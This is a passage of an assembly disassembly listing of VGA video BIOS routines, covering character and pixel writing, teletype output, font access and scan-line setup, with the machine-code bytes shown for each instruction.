near 01de3h ; e9 70 ff lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn ; c3 biosfn_write_char_only_: ; 0xc1e7a LB 0x16f push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 00018h ; 83 ec 18 mov byte [bp-012h], al ; 88 46 ee mov byte [bp-006h], dl ; 88 56 fa mov byte [bp-014h], bl ; 88 5e ec mov si, cx ; 89 ce mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 a8 10 xor ah, ah ; 30 e4 call 02f17h ; e8 7c 10 mov cl, al ; 88 c1 mov byte [bp-00eh], al ; 88 46 f2 cmp AL, strict byte 0ffh ; 3c ff je near 01fe2h ; 0f 84 3c 01 movzx ax, byte [bp-006h] ; 0f b6 46 fa lea bx, [bp-01ch] ; 8d 5e e4 lea dx, [bp-01ah] ; 8d 56 e6 call 00a88h ; e8 d5 eb mov al, byte [bp-01ch] ; 8a 46 e4 mov byte [bp-00ch], al ; 88 46 f4 mov ax, word [bp-01ch] ; 8b 46 e4 xor al, al ; 30 c0 shr ax, 008h ; c1 e8 08 mov byte [bp-010h], al ; 88 46 f0 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 71 10 xor ah, ah ; 30 e4 inc ax ; 40 mov word [bp-018h], ax ; 89 46 e8 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 7e 10 mov word [bp-016h], ax ; 89 46 ea movzx di, cl ; 0f b6 f9 mov bx, di ; 89 fb sal bx, 003h ; c1 e3 03 cmp byte [bx+0462fh], 000h ; 80 bf 2f 46 00 jne short 01f38h ; 75 4a mov dx, word [bp-018h] ; 8b 56 e8 imul dx, ax ; 0f af d0 add dx, dx ; 01 d2 or dl, 0ffh ; 80 ca ff movzx bx, byte [bp-006h] ; 0f b6 5e fa inc dx ; 42 imul bx, dx ; 0f af da movzx dx, byte [bp-010h] ; 0f b6 56 f0 mov cx, ax ; 89 c1 imul cx, dx ; 0f af ca movzx dx, byte [bp-00ch] ; 0f b6 56 f4 add cx, dx ; 01 d1 add cx, cx ; 01 c9 add cx, bx ; 01 d9 dec si ; 4e cmp si, strict byte 0ffffh ; 83 fe ff je near 01fe2h ; 0f 84 c6 00 movzx ax, byte [bp-012h] ; 0f b6 46 ee movzx bx, byte [bp-00eh] ; 0f b6 5e f2 sal bx, 003h ; c1 e3 03 mov di, word [bx+04632h] ; 8b bf 32 46 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, di ; 89 f8 call 02f4ch ; e8 18 10 inc cx ; 41 inc cx ; 41 jmp short 01f14h ; eb dc movzx di, byte [di+046aeh] ; 0f b6 bd ae 46 sal di, 006h ; c1 e7 06 mov al, byte [di+046c4h] ; 8a 85 c4 46 mov byte [bp-00ah], al ; 88 46 f6 mov al, byte [bx+04631h] ; 8a 87 31 46 mov byte [bp-008h], al ; 88 46 f8 dec si ; 4e cmp si, strict byte 0ffffh ; 83 fe ff je near 01fe2h ; 0f 84 8c 00 movzx ax, byte [bp-00ch] ; 0f b6 46 f4 cmp ax, word [bp-016h] ; 3b 46 ea jnc near 01fe2h ; 0f 83 81 00 movzx bx, byte [bp-00eh] ; 0f b6 5e f2 sal bx, 003h ; c1 e3 03 mov bl, byte [bx+04630h] ; 8a 9f 30 46 cmp bl, 003h ; 80 fb 03 jc short 01f7fh ; 72 0e jbe short 01f86h ; 76 13 cmp bl, 005h ; 80 fb 05 je short 01fc4h ; 74 4c cmp bl, 004h ; 80 fb 04 je short 01f86h ; 74 09 jmp short 01fdch ; eb 5d cmp bl, 002h ; 80 fb 02 je short 01fa5h ; 74 21 jmp short 01fdch ; eb 56 movzx ax, byte [bp-00ah] ; 0f b6 46 f6 push ax ; 50 movzx ax, byte [bp-016h] ; 0f b6 46 ea push ax ; 50 movzx cx, byte [bp-010h] ; 0f b6 4e f0 movzx bx, byte [bp-00ch] ; 0f b6 5e f4 movzx dx, byte [bp-014h] ; 0f b6 56 ec movzx ax, byte [bp-012h] ; 0f b6 46 ee call 01a78h ; e8 d5 fa jmp short 01fdch ; eb 37 movzx ax, byte [bp-008h] ; 0f b6 46 f8 push ax ; 50 movzx ax, byte [bp-016h] ; 0f b6 46 ea push ax ; 50 movzx cx, byte [bp-010h] ; 0f b6 4e f0 movzx bx, byte [bp-00ch] ; 0f b6 5e f4 movzx dx, byte [bp-014h] ; 0f b6 56 ec movzx ax, byte [bp-012h] ; 0f b6 46 ee call 01b63h ; e8 a1 fb jmp short 01fdch ; eb 18 movzx ax, byte [bp-016h] ; 0f b6 46 ea push ax ; 50 movzx cx, byte [bp-010h] ; 0f b6 4e f0 movzx bx, byte [bp-00ch] ; 0f b6 5e f4 movzx dx, byte [bp-014h] ; 0f b6 56 ec movzx ax, byte [bp-012h] ; 0f b6 46 ee call 01c81h ; e8 a5 fc inc byte [bp-00ch] ; fe 46 f4 jmp near 01f4eh ; e9 6c ff lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn ; c3 biosfn_write_pixel_: ; 0xc1fe9 LB 0x16a push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 sub sp, strict byte 00008h ; 83 ec 08 mov byte [bp-006h], dl ; 88 56 fa mov word [bp-00ah], bx ; 89 5e f6 mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 3f 0f xor ah, ah ; 30 e4 call 02f17h ; e8 13 0f mov byte [bp-004h], al ; 88 46 fc cmp AL, strict byte 0ffh ; 3c ff je near 0212bh ; 0f 84 1e 01 movzx bx, al ; 0f b6 d8 sal bx, 003h ; c1 e3 03 cmp byte [bx+0462fh], 000h ; 80 bf 2f 46 00 je near 0212bh ; 0f 84 0f 01 mov al, byte [bx+04630h] ; 8a 87 30 46 cmp AL, strict byte 003h ; 3c 03 jc short 02033h ; 72 0f jbe short 0203ah ; 76 14 cmp AL, strict byte 005h ; 3c 05 je near 02131h ; 0f 84 05 01 cmp AL, strict byte 004h ; 3c 04 je short 0203ah ; 74 0a jmp near 0212bh ; e9 f8 00 cmp AL, strict byte 002h ; 3c 02 je short 0209fh ; 74 68 jmp near 0212bh ; e9 f1 00 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 17 0f imul ax, cx ; 0f af c1 mov bx, word [bp-00ah] ; 8b 5e f6 shr bx, 003h ; c1 eb 03 add bx, ax ; 01 c3 mov word [bp-008h], bx ; 89 5e f8 mov cx, word [bp-00ah] ; 8b 4e f6 and cl, 007h ; 80 e1 07 mov ax, 00080h ; b8 80 00 sar ax, CL ; d3 f8 xor ah, ah ; 30 e4 sal ax, 008h ; c1 e0 08 or AL, strict byte 008h ; 0c 08 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov ax, 00205h ; b8 05 02 out DX, ax ; ef mov dx, bx ; 89 da mov ax, 0a000h ; b8 00 a0 call 02f3eh ; e8 cb 0e test byte [bp-006h], 080h ; f6 46 fa 80 je short 02080h ; 74 07 mov ax, 01803h ; b8 03 18 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef movzx bx, byte [bp-006h] ; 0f b6 5e fa mov dx, word [bp-008h] ; 8b 56 f8 mov ax, 0a000h ; b8 00 a0 call 02f4ch ; e8 bf 0e mov ax, 0ff08h ; b8 08 ff mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov ax, strict word 00005h ; b8 05 00 out DX, ax ; ef mov ax, strict word 00003h ; b8 03 00 out DX, ax ; ef jmp near 0212bh ; e9 8c 00 mov ax, cx ; 89 c8 shr ax, 1 ; d1 e8 imul ax, ax, strict byte 00050h ; 6b c0 50 cmp byte [bx+04631h], 002h ; 80 bf 31 46 02 jne short 020b5h ; 75 08 mov bx, word [bp-00ah] ; 8b 5e f6 shr bx, 002h ; c1 eb 02 jmp short 020bbh ; eb 06 mov bx, word [bp-00ah] ; 8b 5e f6 shr bx, 003h ; c1 eb 03 add bx, ax ; 01 c3 mov word [bp-008h], bx ; 89 5e f8 test cl, 001h ; f6 c1 01 je short 020c9h ; 74 04 add byte [bp-007h], 020h ; 80 46 f9 20 mov dx, word [bp-008h] ; 8b 56 f8 mov ax, 0b800h ; b8 00 b8 call 02f3eh ; e8 6c 0e mov bl, al ; 88 c3 movzx si, byte [bp-004h] ; 0f b6 76 fc sal si, 003h ; c1 e6 03 cmp byte [si+04631h], 002h ; 80 bc 31 46 02 jne short 020fbh ; 75 19 mov al, byte [bp-00ah] ; 8a 46 f6 and AL, strict byte 003h ; 24 03 mov AH, strict byte 003h ; b4 03 sub ah, al ; 28 c4 mov cl, ah ; 88 e1 add cl, ah ; 00 e1 mov bh, byte [bp-006h] ; 8a 7e fa and bh, 003h ; 80 e7 03 sal bh, CL ; d2 e7 mov AL, strict byte 003h ; b0 03 jmp short 0210eh ; eb 13 mov al, byte [bp-00ah] ; 8a 46 f6 and AL, strict byte 007h ; 24 07 mov CL, strict byte 007h ; b1 07 sub cl, al ; 28 c1 mov bh, byte [bp-006h] ; 8a 7e fa and bh, 001h ; 80 e7 01 sal bh, CL ; d2 e7 mov AL, strict byte 001h ; b0 01 sal al, CL ; d2 e0 test byte [bp-006h], 080h ; f6 46 fa 80 je short 0211ah ; 74 04 xor bl, bh ; 30 fb jmp short 02120h ; eb 06 not al ; f6 d0 and bl, al ; 20 c3 or bl, bh ; 08 fb xor bh, bh ; 30 ff mov dx, word [bp-008h] ; 8b 56 f8 mov ax, 0b800h ; b8 00 b8 call 02f4ch ; e8 21 0e lea sp, [bp-002h] ; 8d 66 fe pop si ; 5e pop bp ; 5d retn ; c3 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 20 0e sal ax, 003h ; c1 e0 03 imul cx, ax ; 0f af c8 mov ax, word [bp-00ah] ; 8b 46 f6 add ax, cx ; 01 c8 mov word [bp-008h], ax ; 89 46 f8 movzx bx, byte [bp-006h] ; 0f b6 5e fa mov dx, ax ; 89 c2 mov ax, 0a000h ; b8 00 a0 jmp short 02128h ; eb d5 biosfn_write_teletype_: ; 0xc2153 LB 0x241 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 sub sp, strict byte 00016h ; 83 ec 16 mov byte [bp-00ch], al ; 88 46 f4 mov byte [bp-006h], dl ; 88 56 fa mov byte [bp-004h], bl ; 88 5e fc mov byte [bp-00eh], cl ; 88 4e f2 cmp dl, 0ffh ; 80 fa ff jne short 02177h ; 75 0c mov dx, strict word 00062h ; ba 62 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 ca 0d mov byte [bp-006h], al ; 88 46 fa mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 be 0d xor ah, ah ; 30 e4 call 02f17h ; e8 92 0d mov byte [bp-010h], al ; 88 46 f0 cmp AL, strict byte 0ffh ; 3c ff je near 0238eh ; 0f 84 00 02 movzx ax, byte [bp-006h] ; 0f b6 46 fa lea bx, [bp-018h] ; 8d 5e e8 lea dx, [bp-016h] ; 8d 56 ea call 00a88h ; e8 ed e8 mov al, byte [bp-018h] ; 8a 46 e8 mov byte [bp-008h], al ; 88 46 f8 mov ax, word [bp-018h] ; 8b 46 e8 xor al, al ; 30 c0 shr ax, 008h ; c1 e8 08 mov byte [bp-00ah], al ; 88 46 f6 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 89 0d xor ah, ah ; 30 e4 inc ax ; 40 mov word [bp-014h], ax ; 89 46 ec mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 96 0d mov word [bp-012h], ax ; 89 46 ee mov al, byte [bp-00ch] ; 8a 46 f4 cmp AL, strict byte 008h ; 3c 08 jc short 021dch ; 72 0e jbe short 021e4h ; 76 14 cmp AL, strict byte 00dh ; 3c 0d je short 021f2h ; 74 1e cmp AL, strict byte 00ah ; 3c 0a je near 022e4h ; 0f 84 0a 01 jmp short 021f9h ; eb 1d cmp AL, strict byte 007h ; 3c 07 je near 022e7h ; 0f 84 05 01 jmp short 021f9h ; eb 15 cmp byte [bp-008h], 000h ; 80 7e f8 00 jbe near 022e7h ; 0f 86 fb 00 dec byte [bp-008h] ; fe 4e f8 jmp near 022e7h ; e9 f5 00 mov byte [bp-008h], 000h ; c6 46 f8 00 jmp near 022e7h ; e9 ee 00 movzx bx, byte [bp-010h] ; 0f b6 5e f0 mov si, bx ; 89 de sal si, 003h ; c1 e6 03 cmp byte [si+0462fh], 000h ; 80 bc 2f 46 00 jne short 02256h ; 75 4d mov ax, word [bp-012h] ; 8b 46 ee imul ax, word [bp-014h] ; 0f af 46 ec add ax, ax ; 01 c0 or AL, strict byte 0ffh ; 0c ff movzx dx, byte [bp-006h] ; 0f b6 56 fa mov cx, ax ; 89 c1 inc cx ; 41 imul cx, dx ; 0f af ca movzx ax, byte [bp-00ah] ; 0f b6 46 f6 imul ax, word [bp-012h] ; 0f af 46 ee movzx dx, byte [bp-008h] ; 0f b6 56 f8 add ax, dx ; 01 d0 add ax, ax ; 01 c0 add cx, ax ; 01 c1 movzx bx, byte [bp-00ch] ; 0f b6 5e f4 mov ax, word [si+04632h] ; 8b 84 32 46 mov dx, cx ; 89 ca call 02f4ch ; e8 0f 0d cmp byte [bp-00eh], 003h ; 80 7e f2 03 jne near 022d4h ; 0f 85 8f 00 movzx bx, byte [bp-004h] ; 0f b6 5e fc mov dx, cx ; 89 ca inc dx ; 42 mov ax, word [si+04632h] ; 8b 84 32 46 call 02f4ch ; e8 f9 0c jmp near 022d4h ; e9 7e 00 movzx bx, byte [bx+046aeh] ; 0f b6 9f ae 46 sal bx, 006h ; c1 e3 06 mov ah, byte [bx+046c4h] ; 8a a7 c4 46 mov dl, byte [si+04631h] ; 8a 94 31 46 mov al, byte [si+04630h] ; 8a 84 30 46 cmp AL, strict byte 003h ; 3c 03 jc short 0227ah ; 72 0c jbe short 02280h ; 76 10 cmp AL, strict byte 005h ; 3c 05 je short 022bch ; 74 48 cmp AL, strict byte 004h ; 3c 04 je short 02280h ; 74 08 jmp short 022d4h ; eb 5a cmp AL, strict byte 002h ; 3c 02 je short 0229eh ; 74 20 jmp short 022d4h ; eb 54 movzx ax, ah ; 0f b6 c4 push ax ; 50 movzx ax, byte [bp-012h] ; 0f b6 46 ee push ax ; 50 movzx cx, byte [bp-00ah] ; 0f b6 4e f6 movzx bx, byte [bp-008h] ; 0f b6 5e f8 movzx dx, byte [bp-004h] ; 0f b6 56 fc movzx ax, byte [bp-00ch] ; 0f b6 46 f4 call 01a78h ; e8 dc f7 jmp short 022d4h ; eb 36 movzx ax, dl ; 0f b6 c2 push ax ; 50 movzx ax, byte [bp-012h] ; 0f b6 46 ee push ax ; 50 movzx cx, byte [bp-00ah] ; 0f b6 4e f6 movzx bx, byte [bp-008h] ; 0f b6 5e f8 movzx dx, byte [bp-004h] ; 0f b6 56 fc movzx ax, byte [bp-00ch] ; 0f b6 46 f4 call 01b63h ; e8 a9 f8 jmp short 022d4h ; eb 18 movzx ax, byte [bp-012h] ; 0f b6 46 ee push ax ; 50 movzx cx, byte [bp-00ah] ; 0f b6 4e f6 movzx bx, byte [bp-008h] ; 0f b6 5e f8 movzx dx, byte [bp-004h] ; 0f b6 56 fc movzx ax, byte [bp-00ch] ; 0f b6 46 f4 call 01c81h ; e8 ad f9 inc byte [bp-008h] ; fe 46 f8 movzx ax, byte [bp-008h] ; 0f b6 46 f8 cmp ax, word [bp-012h] ; 3b 46 ee jne short 022e7h ; 75 07 mov byte [bp-008h], 000h ; c6 46 f8 00 inc byte [bp-00ah] ; fe 46 f6 movzx ax, byte [bp-00ah] ; 0f b6 46 f6 cmp ax, word [bp-014h] ; 3b 46 ec jne near 02372h ; 0f 85 80 00 movzx si, byte [bp-010h] ; 0f b6 76 f0 sal si, 003h ; c1 e6 03 mov bh, byte [bp-014h] ; 8a 7e ec db 0feh, 0cfh ; dec bh ; fe cf mov bl, byte [bp-012h] ; 8a 5e ee db 0feh, 0cbh ; dec bl ; fe cb cmp byte [si+0462fh], 000h ; 80 bc 2f 46 00 jne short 02354h ; 75 4a mov ax, word [bp-012h] ; 8b 46 ee imul ax, word [bp-014h] ; 0f af 46 ec add ax, ax ; 01 c0 or AL, strict byte 0ffh ; 0c ff movzx dx, byte [bp-006h] ; 0f b6 56 fa mov cx, ax ; 89 c1 inc cx ; 41 imul cx, dx ; 0f af ca movzx ax, byte [bp-00ah] ; 0f b6 46 f6 dec ax ; 48 imul ax, word [bp-012h] ; 0f af 46 ee movzx dx, byte [bp-008h] ; 0f b6 56 f8 add ax, dx ; 01 d0 add ax, ax ; 01 c0 mov dx, cx ; 89 ca add dx, ax ; 01 c2 inc dx ; 42 mov ax, word [si+04632h] ; 8b 84 32 46 call 02f3eh ; e8 02 0c push strict byte 00001h ; 6a 01 movzx dx, byte [bp-006h] ; 0f b6 56 fa push dx ; 52 movzx dx, bl ; 0f b6 d3 push dx ; 52 movzx dx, bh ; 0f b6 d7 push dx ; 52 movzx dx, al ; 0f b6 d0 xor cx, cx ; 31 c9 xor bx, bx ; 31 db jmp short 02369h ; eb 15 push strict byte 00001h ; 6a 01 movzx ax, byte [bp-006h] ; 0f b6 46 fa push ax ; 50 movzx ax, bl ; 0f b6 c3 push ax ; 50 movzx ax, bh ; 0f b6 c7 push ax ; 50 xor cx, cx ; 31 c9 xor bx, bx ; 31 db xor dx, dx ; 31 d2 mov ax, strict word 00001h ; b8 01 00 call 01572h ; e8 03 f2 dec byte [bp-00ah] ; fe 4e f6 movzx ax, byte [bp-00ah] ; 0f b6 46 f6 mov word [bp-018h], ax ; 89 46 e8 sal word [bp-018h], 008h ; c1 66 e8 08 movzx ax, byte [bp-008h] ; 0f b6 46 f8 add word [bp-018h], ax ; 01 46 e8 mov dx, word [bp-018h] ; 8b 56 e8 movzx ax, byte [bp-006h] ; 0f b6 46 fa call 00e5eh ; e8 d0 ea lea sp, [bp-002h] ; 8d 66 fe pop si ; 5e pop bp ; 5d retn ; c3 get_font_access_: ; 0xc2394 LB 0x2c push bp ; 55 mov bp, sp ; 89 e5 push dx ; 52 mov ax, 00100h ; b8 00 01 mov dx, 003c4h ; ba c4 03 out DX, ax ; ef mov ax, 00402h ; b8 02 04 out DX, ax ; ef mov ax, 00704h ; b8 04 07 out DX, ax ; ef mov ax, 00300h ; b8 00 03 out DX, ax ; ef mov ax, 00204h ; b8 04 02 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov ax, strict word 00005h ; b8 05 00 out DX, ax ; ef mov ax, 00406h ; b8 06 04 out DX, ax ; ef lea sp, [bp-002h] ; 8d 66 fe pop dx ; 5a pop bp ; 5d retn ; c3 release_font_access_: ; 0xc23c0 LB 0x3c push bp ; 55 mov bp, sp ; 89 e5 push dx ; 52 mov ax, 00100h ; b8 00 01 mov dx, 003c4h ; ba c4 03 out DX, ax ; ef mov ax, 00302h ; b8 02 03 out DX, ax ; ef mov ax, 00304h ; b8 04 03 out DX, ax ; ef mov ax, 00300h ; b8 00 03 out DX, ax ; ef mov dx, 003cch ; ba cc 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 and ax, strict word 00001h ; 25 01 00 sal ax, 002h ; c1 e0 02 or AL, strict byte 00ah ; 0c 0a sal ax, 008h ; c1 e0 08 or AL, strict byte 006h ; 0c 06 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov ax, strict word 00004h ; b8 04 00 out DX, ax ; ef mov ax, 01005h ; b8 05 10 out DX, ax ; ef lea sp, [bp-002h] ; 8d 66 fe pop dx ; 5a pop bp ; 5d retn ; c3 set_scan_lines_: ; 0xc23fc LB 0xbf push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push dx ; 52 push si ; 56 push di ; 57 mov bl, al ; 88 c3 mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 4b 0b mov dx, ax ; 89 c2 mov si, ax ; 89 c6 mov AL, strict byte 009h ; b0 09 out DX, AL ; ee inc dx ; 42 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov ah, al ; 88 c4 and ah, 0e0h ; 80 e4 e0 mov al, bl ; 88 d8 db 0feh, 0c8h ; dec al ; fe c8 or al, ah ; 08 e0 out DX, AL ; ee cmp bl, 008h ; 80 fb 08 jne short 02433h ; 75 08 mov dx, strict word 00007h ; ba 07 00 mov ax, strict word 00006h ; b8 06 00 jmp short 02440h ; eb 0d mov al, bl ; 88 d8 sub AL, strict byte 003h ; 2c 03 movzx dx, al ; 0f b6 d0 mov al, bl ; 88 d8 sub AL, strict byte 004h ; 2c 04 xor ah, ah ; 30 e4 call 00dbah ; e8 77 e9 movzx di, bl ; 0f b6 fb mov bx, di ; 89 fb mov dx, 00085h ; ba 85 00 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 17 0b mov AL, strict byte 012h ; b0 12 mov dx, si ; 89 f2 out DX, AL ; ee lea cx, [si+001h] ; 8d 4c 01 mov dx, cx ; 89 ca in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov bx, ax ; 89 c3 mov AL, strict byte 007h ; b0 07 mov dx, si ; 89 f2 out DX, AL ; ee mov dx, cx ; 89 ca in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov ah, al ; 88 c4 and ah, 002h ; 80 e4 02 movzx dx, ah ; 0f b6 d4 sal dx, 007h ; c1 e2 07 and AL, strict byte 040h ; 24 40 xor ah, ah ; 30 e4 sal ax, 003h ; c1 e0 03 add ax, dx ; 01 d0 inc ax ; 40 add ax, bx ; 01 d8 xor dx, dx ; 31 d2 div di ; f7 f7 mov cx, ax ; 89 c1 db 0feh, 0c8h ; dec al ; fe c8 movzx bx, al ; 0f b6 d8 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 b7 0a mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 bc 0a movzx dx, cl ; 0f b6 d1 mov bx, ax ; 89 c3 imul bx, dx ; 0f af da add bx, bx ; 01 db mov dx, strict word 0004ch ; ba 4c 00 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 b7 0a lea sp, [bp-00ah] ; 8d 66 f6 pop di ; 5f pop si ; 5e pop dx ; 5a pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_load_text_user_pat_: ; 0xc24bb LB 0x7d push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 0000ah ; 83 ec 0a mov byte [bp-006h], al ; 88 46 fa mov word [bp-00ch], dx ; 89 56 f4 mov word [bp-008h], bx ; 89 5e f8 mov word [bp-00ah], cx ; 89 4e f6 call 02394h ; e8 c2 fe mov al, byte [bp+006h] ; 8a 46 06 and AL, strict byte 003h ; 24 03 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 sal bx, 00eh ; c1 e3 0e mov al, byte [bp+006h] ; 8a 46 06 and AL, strict byte 004h ; 24 04 xor ah, ah ; 30 e4 sal ax, 00bh ; c1 e0 0b add bx, ax ; 01 c3 mov word [bp-00eh], bx ; 89 5e f2 xor bx, bx ; 31 db cmp bx, word [bp-00ah] ; 3b 5e f6 jnc short 0251fh ; 73 2b movzx cx, byte [bp+008h] ; 0f b6 4e 08 mov si, bx ; 89 de imul si, cx ; 0f af f1 add si, word [bp-008h] ; 03 76 f8 mov di, word [bp+004h] ; 8b 7e 04 add di, bx ; 01 df sal di, 005h ; c1 e7 05 add di, word [bp-00eh] ; 03 7e f2 mov dx, word [bp-00ch] ; 8b 56 f4 mov ax, 0a000h ; b8 00 a0 mov es, ax ; 8e c0 cld ; fc jcxz 0251ch ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f inc bx ; 43 jmp short 024efh ; eb d0 call 023c0h ; e8 9e fe cmp byte [bp-006h], 010h ; 80 7e fa 10 jc short 0252fh ; 72 07 movzx ax, byte [bp+008h] ; 0f b6 46 08 call 023fch ; e8 cd fe lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00006h ; c2 06 00 biosfn_load_text_8_14_pat_: ; 0xc2538 LB 0x70 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 mov byte [bp-00ah], al ; 88 46 f6 call 02394h ; e8 4d fe mov al, dl ; 88 d0 and AL, strict byte 003h ; 24 03 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 sal bx, 00eh ; c1 e3 0e mov al, dl ; 88 d0 and AL, strict byte 004h ; 24 04 xor ah, ah ; 30 e4 sal ax, 00bh ; c1 e0 0b add bx, ax ; 01 c3 mov word [bp-00ch], bx ; 89 5e f4 xor bx, bx ; 31 db jmp short 0256ah ; eb 06 cmp bx, 00100h ; 81 fb 00 01 jnc short 02590h ; 73 26 imul si, bx, strict byte 0000eh ; 6b f3 0e mov di, bx ; 89 df sal di, 005h ; c1 e7 05 add di, word [bp-00ch] ; 03 7e f4 add si, 05bech ; 81 c6 ec 5b mov cx, strict word 0000eh ; b9 0e 00 mov dx, 0c000h ; ba 00 c0 mov ax, 0a000h ; b8 00 a0 mov es, ax ; 8e c0 cld ; fc jcxz 0258dh ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f inc bx ; 43 jmp short 02564h ; eb d4 call 023c0h ; e8 2d fe cmp byte [bp-00ah], 010h ; 80 7e f6 10 jc short 0259fh ; 72 06 mov ax, strict word 0000eh ; b8 0e 00 call 023fch ; e8 5d fe lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_load_text_8_8_pat_: ; 0xc25a8 LB 0x72 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 mov byte [bp-00ah], al ; 88 46 f6 call 02394h ; e8 dd fd mov al, dl ; 88 d0 and AL, strict byte 003h ; 24 03 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 sal bx, 00eh ; c1 e3 0e mov al, dl ; 88 d0 and AL, strict byte 004h ; 24 04 xor ah, ah ; 30 e4 sal ax, 00bh ; c1 e0 0b add bx, ax ; 01 c3 mov word [bp-00ch], bx ; 89 5e f4 xor bx, bx ; 31 db jmp short 025dah ; eb 06 cmp bx, 00100h ; 81 fb 00 01 jnc short 02602h ; 73 28 mov si, bx ; 89 de sal si, 003h ; c1 e6 03 mov di, bx ; 89 df sal di, 005h ; c1 e7 05 add di, word [bp-00ch] ; 03 7e f4 add si, 053ech ; 81 c6 ec 53 mov cx, strict word 00008h ; b9 08 00 mov dx, 0c000h ; ba 00 c0 mov ax, 0a000h ; b8 00 a0 mov es, ax ; 8e c0 cld ; fc jcxz 025ffh ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f inc bx ; 43 jmp short 025d4h ; eb d2 call 023c0h ; e8 bb fd cmp byte [bp-00ah], 010h ; 80 7e f6 10 jc short 02611h ; 72 06 mov ax, strict word 00008h ; b8 08 00 call 023fch ; e8 eb fd lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_load_text_8_16_pat_: ; 0xc261a LB 0x72 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 mov byte [bp-00ah], al ; 88 46 f6 call 02394h ; e8 6b fd mov al, dl ; 88 d0 and AL, strict byte 003h ; 24 03 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 sal bx, 00eh ; c1 e3 0e mov al, dl ; 88 d0 and AL, strict byte 004h ; 24 04 xor ah, ah ; 30 e4 sal ax, 00bh ; c1 e0 0b add bx, ax ; 01 c3 mov word [bp-00ch], bx ; 89 5e f4 xor bx, bx ; 31 db jmp short 0264ch ; eb 06 cmp bx, 00100h ; 81 fb 00 01 jnc short 02674h ; 73 28 mov si, bx ; 89 de sal si, 004h ; c1 e6 04 mov di, bx ; 89 df sal di, 005h ; c1 e7 05 add di, word [bp-00ch] ; 03 7e f4 add si, 069ech ; 81 c6 ec 69 mov cx, strict word 00010h ; b9 10 00 mov dx, 0c000h ; ba 00 c0 mov ax, 0a000h ; b8 00 a0 mov es, ax ; 8e c0 cld ; fc jcxz 02671h ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f inc bx ; 43 jmp short 02646h ; eb d2 call 023c0h ; e8 49 fd cmp byte [bp-00ah], 010h ; 80 7e f6 10 jc short 02683h ; 72 06 mov ax, strict word 00010h ; b8 10 00 call 023fch ; e8 79 fd lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_load_gfx_8_8_chars_: ; 0xc268c LB 0x5 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn ; c3 biosfn_load_gfx_user_chars_: ; 0xc2691 LB 0x7 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn 00002h ; c2 02 00 